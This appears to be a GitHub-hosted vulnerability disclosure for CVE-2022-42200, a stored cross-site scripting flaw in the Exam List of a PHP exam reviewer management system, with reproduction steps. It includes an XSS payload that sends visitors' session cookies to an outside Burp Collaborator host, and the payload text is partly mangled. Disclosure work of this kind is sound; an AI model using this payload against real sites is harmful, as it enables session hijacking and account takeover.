ciph0x01 / **Simple-Exam-Reviewer-Management-System-CVE** Public

Code Issues Pull requests Actions Projects Security Insights

main

Simple-Exam-Reviewer-Management-System-CVE / **CVE-2022-42200.md**

ciph0x01 Create CVE-2022-42200.md History

1 contributor

`22 lines (12 sloc) | 924 Bytes`

Affected Component

ERMS v1.0 - https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

Description

Stored Cross Site Scripting (XSS) via the Exam List

Steps to reproduce

Navigate to Exam List and Click "Create New"

Paste the below payload on Title and Description fields and click save

```
<img src=x onerror=
(window.location='[https://o1q2amfm97kh8cn0zmbc0qi9k0qqef.burpcollaborator.net/?'+do
(https://o1q2amfm97kh8cn0zmbc0qi9k0qqef.burpcollaborator.net/?
%27+document.cookie))>
```

Payload will trigger when a user visits on Exam List

Impact

Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.